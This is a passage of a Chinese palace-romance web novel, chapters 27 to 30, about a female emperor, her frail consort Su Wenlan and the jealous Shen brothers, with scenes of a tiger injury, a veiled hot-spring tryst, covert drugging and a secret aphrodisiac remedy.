陆玄珍又气又急。
明明她都躲开了,这傻子,哎!
-
陆玄珍亲自把沈统带回了行宫。
虽然没帮到什么,但到底还是为了她,没有功劳也有苦劳。
待把人扶到床上后,她差人去喊了沈锐。
沈锐一听有人受伤。
以为是陆玄珍,一路跑过来连束在头顶的头发都散开了。
“陛下,陛下!”他边喊边往里冲。
着急朝陆玄珍看去,从头到脚扫了一遍,愣是没看到丁点伤口。
可屋内的血腥味越来越浓了。
陆玄珍轻咳一声,侧身露出身后躺着的人。
“不是朕,是小统受伤了。”
沈锐长松一口气:“那没事了。”
“大……哥……”沈统幽怨地盯着他,声音虚弱又颤抖。
“别动,我看看。”
沈锐说着上前查看起沈统伤口。
沈统胸皮肉外翻又血痕累累,看起来十分骇人,再看他脸色,苍白如纸,和平日模样判若两人。
倒是命大。
沈锐起身走到门口,道:“青歌姑娘,麻烦你去打盆温水过来。”
等温水送来,他开始清理伤口。
沈统咬着牙,脸都疼变形了愣是没叫出一声,直到沈锐手上力度突然加重,他忍不住出声制止。
“痛、痛……轻点……”
然后那力度更大了。
沈统直接叫了起来:“大哥你轻点,我要痛死了!”
沈锐也带着火:“还知道痛,我还以为你不知道呢!得亏受伤的是你,要是……算了,我给你上药。”
陆玄珍听到他们这边动静。
过来劝道:“表兄你轻点,这次小统也算是帮了朕。”
沈锐压下火,道:“冬狩是他负责的,要是出了什么事,就算他死了都得受罚。”
“你胡说什么!”
陆玄珍眉间染上薄怒,怒斥:“围场常年有虎,父皇也多次猎到过猛虎,今年朕也猎到,这是吉兆!”
“可他不该让您置于险境。”沈锐忍不住反驳道。
他从未同陆玄珍红过脸。
可这次他却如同失了理智,和皇帝顶起嘴。
“沈锐!给朕出去!”
陆玄珍太阳穴青筋突,咬着牙吼道。
沈锐拿着帕子的手停住。
他顿了顿:“臣还未处理完伤口。”
“不用你了,区区外伤,朕还不会看了?出去!”
陆玄珍夺过帕子,用眼瞪着沈锐。
沈锐态度软下来:“臣……那臣随时在外面候着,等您气消了,臣再进来。”
陆玄珍坐到床边,把浸湿的帕子拧了拧,盆内颜色更红了。
她叹了口气:“你哥今天怎么了?”
沈统:“大哥也不是故意的,他就是、就是担心您。”
“你还向着他说话?朕从未见过表兄这样,怎么说都是他亲弟,下手竟那么重。”
陆玄珍小心擦掉伤口旁的血。
沈统:“其实大哥说的也没错,是臣准备的不周全,要是您有什么闪失,臣就是死一万次都不够。”
“别总把死挂在嘴边,小小年纪。”
陆玄珍从药箱里翻出金疮药,打开药塞闻了闻。
沈统突然抗议起来。
“您不要再说臣小了,臣今年都十八了,比您也小不了多少。”
“你要是不小,能傻到和老虎肉搏?”
陆玄珍轻轻抖了抖药瓶,把药粉撒到他伤口上。
沈统继续抗议:“陛下,那是傻,又不是小,臣真的长大了。”
听到这话,她笑出声:“行,那你长大了。”
知道陆玄珍在笑话他,沈统也并未恼,只是咧着嘴冲她笑。
“臣是傻,那也只对您一个人傻。”
“好好好。”陆玄珍无奈道。
上好药,她起身准备出门,苏文澜还在围场等着她。
沈统抓着她衣角,低声请求。
“陛下,您能留下来陪臣一会吗?就一小会,可以吗?”
陆玄珍脚下一顿。
一边是敏感体弱的苏文澜,一边是为她受伤的沈锐,她犹豫了。
“陛下要是有事,那就算了。”
沈统以退为进。
果不其然,陆玄珍心软了。
她又走回来,搬了个木凳坐到他床前,道:“等你睡了朕再走。”
沈统咧开嘴:“好。”
很快,床上发出均匀的呼吸声。
陆玄珍轻手轻脚地把木凳放回去,推门走了出去。
沈锐果真还在外面等着。<
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p>见她出来,一自责悔地就要跪下。
陆玄珍一把抓住了他,压着声音问:“你这是做什么?”
沈锐:“陛下,臣方才……”
话未说完,陆玄珍就打断道:“朕走了,你进去照看着。”
-
苏文澜在观赏台上面看着陆玄珍与沈统一起从围场出来,此后两人又同时消失。
心中不安起来。
整个下午都不停走来走去。
连午膳都没吃几口,直到黄昏他才坐下来,问刚从台下上来的小梁子。
“陛下还没回来吗?”
小梁子轻轻摇头:“奴婢打听了一圈,围场里出现一只猛虎,正好被陛下和沈侍卫遇上了。”
“有人受伤吗?”苏文澜忙问。
小梁子答:“有,奴婢瞧见那边雪地上有一滩血。”
苏文澜心下一沉:“是谁?”
“应该是沈侍卫,听人说是陛下把沈侍卫抱回来的。”小梁子道。
听闻此言,苏文澜心沉到谷底。
别人能相信这是意外,他不信。眼下他稍有疲态,他们便迫不及待想要取而代之。
沈统绝对在演戏!
他沉声道:“我知晓了,陛下没事就好。你去仔细看着,要是陛下来了,就快回来告诉我。”
苏文澜眼睛转了转。
随后他系好斗篷,在避风处寻了个位置坐下去,一直朝行宫方向看。
直到远处天色将暗。
观赏台上面的人也走得差不多,苏文澜终于瞧见远处赶来的那抹明黄身影。
“文澜!文澜!”
陆玄珍骑着马朝观赏台赶。
见上面零零散散没有几个人了,还未过去就先大声呼喊起来。
小梁子撒腿往台子上蹿:“大、大人,陛下来了,是陛下来了。”
苏文澜不慌不忙地往角落里缩了缩,丝毫没有起身的意思。
“陛下来寻您了!”小梁子焦急道。
他瞥了眼:“你去把陛下带过来。”
就他沈统会演戏?
在他面前演苦肉戏,未免嫩了些,况且陛下如今这般疼爱他。
很快,小梁子完成了任务。
陆玄珍焦急地上了观赏台,一眼就看到了角落里那抹青色身影。
她大步冲过来,弯下腰伸手双臂环住了他腰身,把脸贴在他胸口。
“文澜,你怎么还没回去?”
“您说等猎到雪狐就回来找臣,臣怕您回来找不到臣。”
苏文澜用下巴抵住她的肩。
陆玄珍身体一怔:“这上面多冷,等不到朕你就先回行宫。”
“臣知道了,下次不会这样了。”苏文澜乖乖答应道。
陆玄珍站起身,拉着他手朝观赏台下走去,冰凉触感让她意识到对方等了很久。
她有点愧疚。
等下了观赏台,她突然停住。
“并非朕有意失约,今日冬狩出了点意外,沈侍卫为了救朕被猛虎抓伤,朕便先送他回去处理伤口。”
“嗯,臣都理解。”
苏文澜温温柔柔的,没有丝毫责怪抱怨的意思。
陆玄珍心里顿时更难受了。
一想到那对又吵又闹的兄弟,她太阳穴又开始胀痛。
要是都像文澜这般省心就好了。
“明日朕哪也不去,只陪你,我们在温泉那边待一天。”
她攥紧了掌心那只冰凉的手。
苏文澜回握住她的手,弯眼笑道:“好。”
28. 第 28 章
苏文澜躺在行宫的大床上。
身旁是睡着的陆玄珍,像只小熊,手脚都紧紧抱在他身上。
清冷月光从窗棂穿入,透过纱幔零零碎碎洒进来,宛若繁星,宁静又美好。
苏文澜静静注视着枕边人。
君臣有别,也只有这个时候,他才能如此正大光明地看她。
他伸手轻抚过她眉眼,同时眸底噙满了痛苦与眷恋。
陆玄珍突然皱起眉,一把抓住了脸上的那只手,低声嘟囔:“别闹。”
苏文澜瞬间不动了。
过了会。
她闭着眼凑过来,脸贴到了他的手掌心,轻轻蹭了蹭:“好想你啊……”
苏文澜浑身僵住。
四肢力气仿佛瞬间被人抽走,灵魂剧烈颤抖起来。因为他知道陆玄珍不会想他。
他双眼有些失神,盯着她发顶看了许久。
最终轻轻叹一口,在她的额前落下一个温柔的吻。
没关系,他爱她就够了。
-
翌日清晨,起床用过早膳后。
陆玄珍正如昨天所言,带着苏文澜去了温泉。
温泉位于山洞中。
早在许多年前就被人发现、开发、修缮,如今已十分完善,里面应有尽有、一应俱全。
水雾缭绕,宛若仙境。
陆玄珍换好浴衣,赤足踏进温泉。
边上的水不深,她站着水也只是堪堪漫过膝盖,越往中间水才会越深。
她转过头,见苏文澜还站在岸上,不由催促道:“文澜,快过来。”
“来了。”苏文澜快速下水走到她身边。
见陆玄珍脸上挂着古怪的笑容。
苏文澜还未反应,脸上突然传来一阵温热,清澈的泉水顺着头发流下,整个人都被打湿了。
银铃般的笑声同时响起。
“朕帮你洗好不好?”
陆玄珍从后面贴了上来,双臂环住他的脖子,在耳边吹了口气。
苏文澜耳根瞬间红到滴血。
见他不回答,陆玄珍恶趣味地把人往下拉,直到两人全都坐到水里。
她用下巴抵住他肩,一只手从前面捧起水,往回浇。
很快,苏文澜的浴衣全被打湿。
山间温泉中,风光无限好。
浸过晨露的玉兰花瓣争相绽放,晶莹剔透,纯洁无瑕。
粉红的茱萸凝在枝头,颗颗饱满坚实,泛着诱人的光泽,只待有缘人将其采撷。
苏文澜安静趴在池边的浅水中。
被泡湿的上衣已被扔到地上,光滑细腻的皮肤悉数暴露在空气中。
潮湿的水汽、温热的泉水,从四面八方将他包裹,一直以来紧绷的身心不由自主放松下来。
尚未服药,他竟有了反应。
“文澜你转过来,一直背对着朕做什么?”陆玄珍的身影从他身后传来。
苏文澜纹丝未动。
陆玄珍又喊了几声,不等他回应,直接上手把他翻了过来,一脸狐疑地打量着他。
嘴里同时嘟囔:“怎么不理朕?”
等她看清苏文澜发红的眼尾。
瞬间一阵惊讶,抓在他小臂上的手不自觉收紧,问道:“可是身子不舒服了?”
苏文澜沉默着垂下头。
薄薄浴裤凸起那处,让他倍感为难是同时,也带上些许担忧。
“朕看看……脸有点烫,脖子也是,心跳得很快,嗯?”
陆玄珍的手停在他的小腹上。
腰腹紧实,瘦而不柴。
没有一丝赘肉,肌肉线条清晰流畅,淡青的纹路勾勒出腰身,平坦的小腹随着呼吸微微起伏。
“又想朕了?”
陆玄珍笑着调侃,手指却鬼使神差落下去,炙热的颤抖在指尖不断蔓延着。
她抬眼朝上看去。
妖艳的潮红爬上他的双颊,喉结轻轻滚动着,白皙的皮肤表层下透出一股淡淡的粉。
陆玄珍眼神暗了暗。
她双臂环住苏文澜的脖子,紧紧贴了上去,含住他的耳垂。
“你之前不是说温泉也可以吗?”
苏文澜垂下眼,心底暗暗焦急。
他今日没吃药也没带药,万一等会他不能让陛下满意……
“陛下,要不、要不改日吧?”他别开脸,小声拒绝道。
陆玄珍惊愕地看着他。
愣是过了好一会才憋出一句话:“为什么?”
“敬事房准备的东西没有带过来,臣、臣怕……”
苏文澜支吾着,眼神躲闪。
陆玄珍了然:“那朕叫人去行宫取来。”
随即便唤来宫人,吩咐了下去。
苏文澜绷着后背坐在水中,心中忐忑不安。
陆玄珍摸摸他的脸。
笑着安抚道:“别急,很快就取来了。”
宠归宠,她现在并无怀孕的打算。
不过这倒也提醒了她,如果未来想要拥有一个亲生子嗣,还得找个人来生。
她很喜欢苏太傅。
当初要立他为皇夫,不仅因其人品贵重、才华横溢,也有其容貌的缘故。
“文澜,等回宫以后,你得好好调养一下身子了。”
陆玄珍突然盯着他蹦出这样一句。
苏文澜心下更不安了。
陛下这是对他的服侍不满吗?早知这样他就把药从行宫带过来了。
想法大相径庭的两人靠在彼此身上,等着宫人回来。
温泉离行宫不远,宫人很快回来了,把东西送进来便退了出去。
陆玄珍拿过东西,拉着人往水深处去。
-
行宫。
沈统醒来后并未见到他心心念念的陛下,只看到了黑着一张脸的沈锐。
“……大哥?”
“你可真能睡。”沈锐阴阳怪气道。
沈统茫然环视完四周,又问:“陛下在哪啊?”
沈锐没好气道:“和苏文澜去温泉了。”
“哦哦。”沈统懵懵地点头。
等反应过来,他一下坐起来,因扯到伤口整张脸瞬间变得扭曲。
“这个贱人又勾着陛下!”
沈锐幽幽道:“你现在连贱人都不如。”
“不是,大哥,你是我亲哥,你怎么能这样说我?”沈统更难受了。
沈锐:“我只是说实话。”
沈统撇撇嘴:“我看你这是心情不好拿我撒气,谁惹你,你去找谁,我可都按你说的做了。”
他低头看着自己伤痕累累的胸口。
沈锐道:“你这样了都留不住陛下,今日她同苏文澜在温泉里共赴云雨,那……”
“什么?在温泉?”沈统震惊打断。
怪不得姓苏的能后来居上,原来是使了这么多见不得人的手段勾引陛下。
沈锐蹙起眉,把剩下的话说完。
“那姓苏的在温泉里晕过去了,
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陛下惊得不行,估计短时间内不会再宠幸他了。”
“晕了?那他真是太不中用了。”
沈统撸了撸袖子,一脸幸灾乐祸道。
沈锐边往外走边说:“你既然醒了,就快起来收拾收拾,等会陛下要见你。”
“大哥你要去哪?”沈统问。
“回去给苏大人送药。”
沈锐语气明明十分平静,沈统愣是听出几分咬牙切齿的感觉。
-
陆玄珍没想到会这样。
而且苏文澜晕过去时,她还正在兴头上,要不是他突然疲软下来,她都不能察觉。
之前有次结束,这人脸白到一点血色都没有,她当时就吓了一跳。
没想到这回更夸张。
她坐在床边,双眼失神望向帐内。
两手交叠在腿上,无意识地来回摩挲着。
吱呀——
门口传来一声轻响,沈锐提着食盒从外面进来了。
“陛下,苏大人醒了吗?”沈锐压着声音问,同时把汤药端到了桌上。
陆玄珍摇摇头,眉宇紧皱。
沈锐轻步上前查看了一番。
又退到陆玄珍身边,轻声道:“陛下,苏大人可能要晚一会才能醒来,您去休息会吧,有臣在这里看着。”
自从两人从温泉回来,陆玄珍便一直寸步不离守着这里,连晚膳也不曾用过。
经沈锐这么一说,她才感到累。
“那表兄你在这里好生照看着,朕先去休息一会,要是文澜醒了,立马来叫朕。”
“您放心。”沈锐应。
陆玄珍又往床上看了眼,转身出去了。
又过了一会。
沈锐看向床幔内:“现在陛下去休息了,这里只有你我,苏大人可以醒来了。”
话落,床上那人长睫轻颤了下。
苏文澜眼皮动了动,没有睁开。
他的确是装的,不只是现在,在温泉里晕倒就是装的。
因为他不知该如何收场了。
晕过去是当时唯一的办法。
既不会触怒陛下,又能博得怜爱,而且他近期应该是无法侍寝了。
“苏大人以后打算怎么办?”
沈锐并不在意他的态度,坐到木椅上自顾自说道:“你以后怕是难侍寝了,一回两回还好,若是时间长了陛下难免会起疑心,到时候陛下有了新人,苏大人……”
苏文澜睁开眼,冷冷看着他。
“沈太医莫非以为我不侍寝了,你就能上得了位吧?”
“若陛下早有这样的打算,何必多此一举选我?你们兄弟俩与陛下这么多年的情分,在我这张脸面前,又算得了什么?”
“便是我不能侍寝,就凭这张脸,陛下也是会念着我的。”
他眼底赤裸裸的嘲讽,宛如一把利刃,刀刀剜心、寸寸见血,深深刺入沈锐的七寸。
这也是沈锐最介怀之事。
沈锐只觉喉咙被什么堵住,胸口气血上涌,一股腥甜在口腔中蔓延。
他闭了闭眼,把血咽了回去。
“苏大人是个有福气的。”
就是不知道这福气他能不能留得住了。
沈锐起身朝外去,一推门,迎面撞上了匆匆赶来沈统。
他皱眉问:“你来做什么?”
沈统:“不是大哥说陛下找我?”
“……嗯。”沈锐脸色一僵,顿了顿,“你进去坐着,我去找陛下。”
29. 第 29 章
“陛、陛下,臣自己来就好。”
苏文澜惶恐地伸出手,想要接过陆玄珍手里的药碗,却被人灵活躲开。
陆玄珍强硬道:“朕来。”
眸底闪过一抹心虚与尴尬,原本苏文澜身子就没恢复好,昨日她又把人晾在观赏台大半天受了寒,今天泡温泉她还不老实。
沈锐、沈统两人就这么眼睁睁看着他们尊贵无比的皇帝,亲手给苏文澜喂了一碗药。
而且还满脸心疼!
砰——
碗碰到桌面发出细微清脆的声响。
陆玄珍起身把药碗放到桌上,又重新坐回苏文澜身边,贴心地掖了掖被角。
“现在感觉好些了吗?”
“臣没什么事,您别担心,许是温泉里太热,水汽蒸得有些难受,臣一时不能适应才不小心晕了。”
苏文澜温和笑道。
她胡乱点了点头。
“没事就好,没事就好,等回宫以后让太医好好给你调养一下,你底子不好,多吃些药膳应该有用。”
说着,陆玄珍突然转头看向沈统:“沈侍卫,冬狩进行的如何了?”
沈统捂着胸口上前一步。
“回陛下的话,猎到的猎物数量已和往年相近,剩下几日是众人在围场随意逛逛,只等庆宴论赏了。”
“那明日就举行庆宴吧。”
陆玄珍顿了顿,又补充道:“一切从简。”
沈统:“……是。”
“表兄,你过来看看文澜的脉象。”陆玄珍又招呼沈锐过来,没再关注沈统。
沈锐:“……是。”
现在他们兄弟两个加起来,都比不过苏文澜一根头发丝。
沈锐又确认了一遍苏文澜的脉象。
当真是经脉尽堵、药石无医之象,这才放下心,看来那药起作用了。
可他面上仍说:“陛下,苏大人一切安好。”
闻言,陆玄珍松了口气。
“那就好,你们都早些回去休息吧,庆宴明快举行,尽早回宫。”
-
翌日,庆宴提早举行。
陆玄珍已是皇帝,自不会再参与评比,而是根据呈递上来的名单,进行论赏。
拔得头筹的人竟是个女子。
她惊叹之余,忙命令道:“你上前些,让朕看清楚你的模样。”
原本嘈杂的人声,此刻突然静到落针可闻,众人皆停住手中动作,朝宴席中央看去。
容黛顶着无数道探究目光上前。
镇定自若道:“正六品百户容勇之女容黛,见过陛下,陛下万岁万岁万万岁。”
说完,她跪倒在地,施施然冲陆玄珍行了一个大礼。
陆玄珍细细打量了一番。
满意收回眼:“容黛?朕记下了,朕现在赐你为大周勇士,赏黄金百两、佩剑一柄。”
容黛道:“谢陛下恩赏,但臣女不想要这些。”
在场众人见此无不倒吸一口凉气。
“你想要什么?”陆玄珍笑容变淡。
名誉和金银都不要,那想要什么,是要为她父亲讨官,还是为她自己索官?
容黛:“陛下创办民学,意欲推行科举广纳人才,让天下寒门学子也可参政议事,臣女钦佩不已。”
“今听闻陛下准许女子参与科举,分设文武两科,臣女想求一个恩赏。”
“臣女想入民学。”
“只想要这个?”陆玄珍身子微微前倾,探究打量着容黛。
容黛回答干脆:“是。”
陆玄珍又道:“以你的才能,朕可直接封你个千户。”
帝王的试探之心此刻又蠢蠢欲动,她忍不住抛出一个华丽的诱饵。
然容黛不为所动。
“陛下,臣女想要凭自身才能获取功名,而非投机取巧,臣女为天下学子表率。”
她顿了顿:“就算来年开春科举,臣女有幸入闱,也想从一个小兵做起,一步步成为将军。”
陆玄珍凝视她许久。
久到宴上众人都不由攥了一把冷汗,担心此女触怒天子。
“好!好!好!”
陆玄珍突然鼓了几下掌,道:“朕允了!明日起你便是民学的学子,文澜你回去安排一下。”
坐在她下首的苏文澜应下:“是。”
除容黛外,其余人都接受了皇帝的赏赐,冬狩庆宴顺利进行,马上进入尾声。
回宫在即。
陆玄珍心情尚可,没留意多饮了些桂花酿。酒水入口芬芳,甜沁润心。
脸颊立马染上一抹红晕。
她眯着眼看了看苏文澜。
冲他举起酒杯:“文澜,你以茶代酒敬朕一杯。”
苏文澜身体一僵。
不理解她为何突然要他敬酒,但还是照做,起身举起茶杯,就要祝词。
“离朕那么远做什么,你上来!”
陆玄珍见他在桌子后面迟迟未动,似乎就打算站在那里敬酒,立马不虞地皱起眉毛。
等苏文澜走上来。
她立马吩咐宫女:“去给文澜搬个凳子。”
苏文澜再次举起茶杯:“愿君万岁,岁岁常安,顺遂无虞,所愿皆得……”
“文澜,朕不想听这些。”陆玄珍打断他,“朕想听你自己说。”
她眸中染上些许醉意。
眼前开始变得朦朦胧胧,可她却比往日看得更清楚。苏文澜,现在陪在她身边的这个人叫苏文澜。
陌生的情绪涌上心间。
她突然很想知道苏文澜对她,到底是何种感情,她甚至想要剖开他的心,看看里面是否只装了她一人。
苏文澜愣了愣。
他不知道陆玄珍想听什么。
陆玄珍抬手揉着太阳穴,轻声催促:“朕想听听你的心里话。”
他的心里话吗?
苏文澜也不知道该从何处说起,他心里藏了太多见不得人的秘密了。
见他一直不说,陆玄珍扫了眼台下,以为是人多他不好意思,轻轻往旁边挪了个位置,身体靠在一边扶手上。
“你过来,只和朕一个人说。”
苏文澜凑上前,弯身把嘴贴到她耳边,还未开口一个踉跄就坐了下去。
“和朕说吧。”陆玄珍弯弯眼。
“臣只想、只想您能开心。”苏文澜犹豫着开口。
陆玄珍有些失望:“只有这个吗?”
“那您还想听什么?”
“不是朕想听什么,是你想对朕说什么,嗯……算了文澜,说说你的心愿吧。”
“臣吗?”苏文澜眼神茫然,
他没想过这些,而且心愿这个东西有了也不一定能实现,他只有贪念。
陆玄珍朝他耳朵吹了口气。
“对啊,你们个个都祝朕怎样怎样,那样真是太无趣了,朕想要什么没有?”
“这些日子你尽心尽力,朕都看着眼里。文澜,你很合朕的意,所以朕允你一个心愿。”
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>她换了个方式,想要问出苏文澜心底最深的渴望。
她想知道他的心。
苏文澜深深吸了口气:“什么心愿都可以吗?”
陆玄珍应下来,期待地仰起脸。
“臣不求名分,只愿能与陛下朝夕相见,永不分离。”
“这有何难?”陆玄珍轻笑。
他垂下眼眸:“可臣因年少坎坷,身子素来不太好,只怕、只怕不能长侍奉于君前,万一哪天陛下嫌弃了……”
“怎会?”陆玄珍打断他,“朕非薄情之人,文澜未免过于杞人忧天。”
苏文澜小心翼翼看她。
“那以后无论发生什么事,陛下都不会赶臣走吗?”
“朕为什么要赶你走?”
陆玄珍不解,他又没做错什么。
况且就算是真错了,未尝不是没有改过的机会,没必要一棒子打死。
“臣只是怕。”苏文澜轻声说。
陆玄珍反握住他的手:“不要怕,朕答应你,以后无论发生什么,朕都不会将你赶出宫去,这样可好?”
苏文澜喉咙一哽:“……好。”
眼前随之模糊起来,尽管她现下喝醉了,或许等酒醒后,她便全然不记得自己从前说过的话。
可他的心还是忍不住为之动容。
无论如何。
无论如何都不会赶他出宫。
陆玄珍举起盛满桂花酿的杯盏。
手腕突然一歪,杯中酒水悉数洒到地上,桂花酿的清香顺着冷风,丝丝缕缕钻入鼻尖。
她眼底划过一丝茫然。
张了张嘴没有发出声音,只是一下又一下轻轻拍着苏文澜手背。
无人注意到的角落里。
沈锐、沈统二人默默对视一眼,很快两人一前一后暂时离开了宴席。
默契十足地出现在了围场边。
沈锐:“这个容黛是怎么回事?”
“正六品百户容勇之女啊。”沈统一脸茫然回道。
沈锐噎了下,道:“这话也就你信,尽快查明她的真实身份,别让有心之人伤害了陛下。”
-
回宫次日。
陆玄珍挑了些冬狩猎到的猎物,派人送到了尚衣局。
雪狐三只,老虎一只。
其中有两只雪狐是旁人猎的。
雪狐就依照先前所想,给苏文澜做件狐皮大氅,若是还有剩余,就做成围脖、帽子之类的。
老虎算是她与沈统一起猎的,且沈统也因此负了伤,怎么也要有他一份。
那就做双虎皮绒靴给他。
苏文澜、沈统都有了。
那也不能薄此厚彼,独独把沈锐给落下。送他什么合适呢?
陆玄珍细细思索着,可搜遍所有记忆,她也不清楚沈锐的喜好。
他好像永远都只会回答“好”。
沈统心直口快,个性鲜明;苏文澜自卑敏感,患得患失;苏太傅善良正直,温柔慈悲。
那沈锐呢?
他像她的影子。
近在眼前,却又最容易忽略。她早已习惯他的存在,就像习惯自己一样。
陆玄珍吩咐宫人:“等会从冬狩带回来的猎物里再挑头鹿,给沈太医做副手套。”
“还有……”她语气一顿,“做一套紫毫笔。”
“要用最好的野兔。”她推开门。
外面寒风凛冽,天空又飘起了雪花,她脚下步子未曾减缓半分,匆匆奔向长春宫。
30. 第 30 章
然而此时长春宫内空无一人。
在得知苏文澜去了民学后,陆玄珍换了身常服,备轿朝宫外去。
-
京城,一间偏僻医馆里。
一名捂得严严实实的贵公子正坐在里间,身后跟着一个仆从。
那仆从正是小梁子。
他上前道:“李郎中,这位是我家大人,上回拿的药大人都服下了,但情况还是不见好,就想着过来叫您亲自瞧瞧。”
李郎中点点头,示意对方伸出手:“大人,在下先给您把脉。”
苏文澜挽起袖子,露出小半截手臂。
看着那白到几乎病态的肤色,李郎中面色一凝,抬手搭了上去。
他脸上的表情越来越难看,连一旁小梁子看了都忍不住捏起一把汗。
等李郎中收回手。
小梁子忙问:“郎中,可看出我家大人症结所在?”
李郎中轻叹:“大人瞧着也不是重欲之人,身子怎会亏空得如此严重?可是家中长辈急着让您开枝散叶?”
苏文澜摇头。
他只是尽了一个丈夫,不,是尽了一个情夫应尽的职责。
满足自己的女人,仅此而已。
“先前开的那些药,不要再用了,这半年您也不要再与令夫人同房,克制一下。”
李郎中严肃道。
苏文澜:“……恐怕不行。”
他还是想和陆玄珍睡觉。
李郎中气笑了。
他行医二十多年,还从未遇到过这样不知轻重的病人。
男人都好面子,他懂,但也不能不要命了吧?
“不行也得行,子嗣这事急不得,就你现在这身子,就算一下做上百回,那也生不出孩子!”
苏文澜面露迟疑,沉默许久,终是下定决心,抬眼看着李郎中。
“还有没有别的办法?”
半年不同房。
别说陆玄珍受不了,他也受不了。
每次同房,登上极乐的不止陆玄珍一人,他亦是到了。
只是结束以后反噬上来的疲倦,也是让人难以承受的。
况且他吃药,不是因为他不行。
只是他早年在苏府时亏了身子,又没有时间慢慢调养,便走了捷径。
没想到会变成现在这样。
李郎中痛心疾首道:“大人只管同房,最好早早死在床上,您夫人也好尽早改嫁,再寻一年轻力壮的新郎君去!”
“早知今日,先前就不该给您开那些药,迟早砸了在下这块招牌!”
苏文澜脸色沉了沉。
再寻一年轻力壮的新郎君?
“李郎中,不同房是不可能的。”
“怎么不可能?莫非令夫人还能把刀架在您脖子上,逼着您脱掉裤子?”
“不会,但我必须要让我夫人满意。”苏文澜认真道。
李郎中不解:“要是不满意她能把您休了?”
苏文澜想了想围场庆宴上的承诺,道:“……也不会。”
“那您到底在担心什么?”
李郎中语重心长道:“大人您还年轻,若是好好调养,将来还能有个亲生骨肉。至于房事,您还是趁早歇了这份心吧。”
苏文澜瞥了眼身后。
小梁子立马递上一个沉甸甸的钱袋。
“李郎中,你再想想办法。我很爱我的夫人,她还年轻,总得有人满足她。若是我不能,那就会有别人替我满足她。”
李郎中惊愕又同情地看了他眼,余光同时瞥见那袋沉甸甸的银子。
“其实也不是没有办法。”
“郎中请讲。”
“无论付出什么代价,您都愿意吗?”
苏文澜不假思索:“是。”
“即便是不能有子嗣也愿意?”李郎中问。
他稍作犹豫:“……嗯。”
“您可得想好了。”李郎中再次确认。
“想好了。”苏文澜坚定道。
李郎中斟酌开口:“在下有一祖传秘法,可让男子重振雄风且不伤身,只是有两点不好……”
“一,种下动情蛊的男子几乎不会再有子嗣;二,每半个月至少要同房一次,否则会遭到反噬。”
“这个会对我夫人有影响吗?”这也是苏文澜唯一的问题
李郎中眼神有点奇怪:“没有。”
“好,那开始吧。”
至此,苏文澜再无顾虑。
-
民学学府位于皇宫附近。
陆玄珍刚出宫没多远就到了。
因是私服,无人认出她真实身份。
有学子认出她是开学时来过的那位陆大人,纷纷围上来同她问好。
她一一回应,目光扫视了一圈,没停在任何人身上。
陆玄珍顿了顿,问:“苏大人呢?”
“您要找苏大人吗?他现在不在这边,出去有一会了。”有学子如是说。
她皱起眉:“知道去哪了吗?”
“这个我们不清楚。”学子们答。
“好,你们先回去上课吧,我自己出去看看,也许苏大人是回宫了。”
话虽如此,陆玄珍却心知肚明。
若苏文澜回宫,他们二人定会碰上。
她转身朝学府外走去。
面容平静如水,未露出半分喜怒好恶,只是垂下在身侧的手越攥越紧,指骨微微泛白,手背青筋浮现。
走到一处不起眼巷子中后。
陆玄珍低唤了声“青川”,随即一个身着黑色劲装的蒙面女子如鬼魅般出现在了她身前。
“苏文澜现在在哪?”
自苏文澜承宠后,他一旦出宫,便会有暗卫记录他的行踪,何时到过何地,至于见了何人,又说了什么,这些不在暗卫的记录范围内。
这些最后都会汇报给陆玄珍。
半炷香未到,一只鸽子缓缓落在了青川手臂上,她取下鸽脚上的纸条。
“在城西益元堂。”青川道。
陆玄珍微微颔首。
随后疾步朝西边奔去,身后暗卫悄然隐去。
不过几条街的距离,加之她用了轻功,很快便到达城西益元堂。
是一间医馆。
见大门开着,陆玄珍直接进去了。
浓厚的药香扑面而来,她不由吸了下鼻子,觉得这个味道有点熟悉。
药童见有人,忙从柜台后面出来。
“姑娘,请问您是来找李郎中的吗?李郎中在里面休息,您先在这坐一会,我去喊他。”
“好。”陆玄珍随意选了把木椅坐下,漫不经心打量起医馆里面的陈设。
过了会,李郎中出来了。
陆玄珍开门见山:“李郎中,刚刚是不是有一个年轻男子来过?”
“是。”李郎中镇定自若。
“他
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来做什么?”
“拿了点补药。”
“他是怎么找到你这里的?”
放着宫里那么多医术高明的太医不用,跑出来找这乡野郎中。
陆玄珍心中顿时疑惑丛生。
“朋友介绍。”李郎中对答如流。
想来眼前这位就是刚刚那位大人的夫人,应对这种场面,他很有经验。
陆玄珍盯着郎中看了会,没有在他脸上看出什么破绽。
“他走了多久了?”
“不到一炷香,朝着东边走的。”
按照李郎中多年经验,这个时候得让夫妻二人尽快相见,才能消除怀疑。
至于其他,他自认为是天衣无缝。
“多谢。”陆玄珍转身离去。
-
陆玄珍找到苏文澜时。
他身旁除了那个小太监,还有一女子,三人在路上有说有笑。
她突然觉得有些刺眼,脸色兀得阴下来,悄无声息地出现在三人身后。
“苏文澜。”
苏文澜缓缓转过身,见是她,脸上原本灿烂笑容瞬间黯淡不少。
“您怎么来了?”
陆玄珍一听这话就火大。
她怎么来了?她怎么就不能来?要是她不来,他还要和旁人在外面说笑多久?
她强压下怒意:“你出来做什么?还有你旁边这个是……容黛?你怎么也在这里?”
容黛主动上前解释。
“今日苏大人接我去民学,路上我听苏大人说他近来身体不适,便自作主张推荐了一家医馆,先去拿了些药。”
陆玄珍脸色稍霁,眼神落在苏文澜手中提着的药包上。
“原来是这样啊。”
她顿了顿,和颜悦色道:“容黛,你自行去民学吧,里面有人会帮你办好手续,苏大人现在有其他事。”
容黛很有眼色,立马应下来。
陆玄珍带着人往皇宫走,一路上苏文澜垂首跟着她身后,一言不发。
直到两人上了城楼。
城楼上面风很大,站在这里往下看,几乎可以将整个京城尽收眼底,有时陆玄珍会来这里观景。
不过今日她并无心情。
北风凛冽,寒意刺骨。
苏文澜的脸很快就被冻红了,若是往日,陆玄珍早就心疼了。
但现在她生不起一点怜香惜玉的心思,她只想——
让他清楚自己到底是谁的人!
陆玄珍粗鲁扣住他后颈,狠狠咬了上去,苏文澜身体撞到墙壁上发出一声闷响。
她手指一抖,没有停下的意思。
他闭了闭眼,将她的气息悉数吞进唇齿,体内刚种下的动情蛊已然蠢蠢欲动。
“陛下……”
话未说完,嘴又被堵上了。
苏文澜被迫回应着这个生硬的吻,和她往日温柔的风格截然不同。
直到他眼神涣散,陆玄珍才松手。
她站在对面,冷冷看着他。
“为什么出宫找郎中?是不信任太医院的太医?还是……不信任朕?”
苏文澜背靠在城墙上,双目失神望着前方,咽了咽喉咙:“臣没不信您。”
“既然相信朕,为何还要出宫?”陆玄珍语气稍缓。
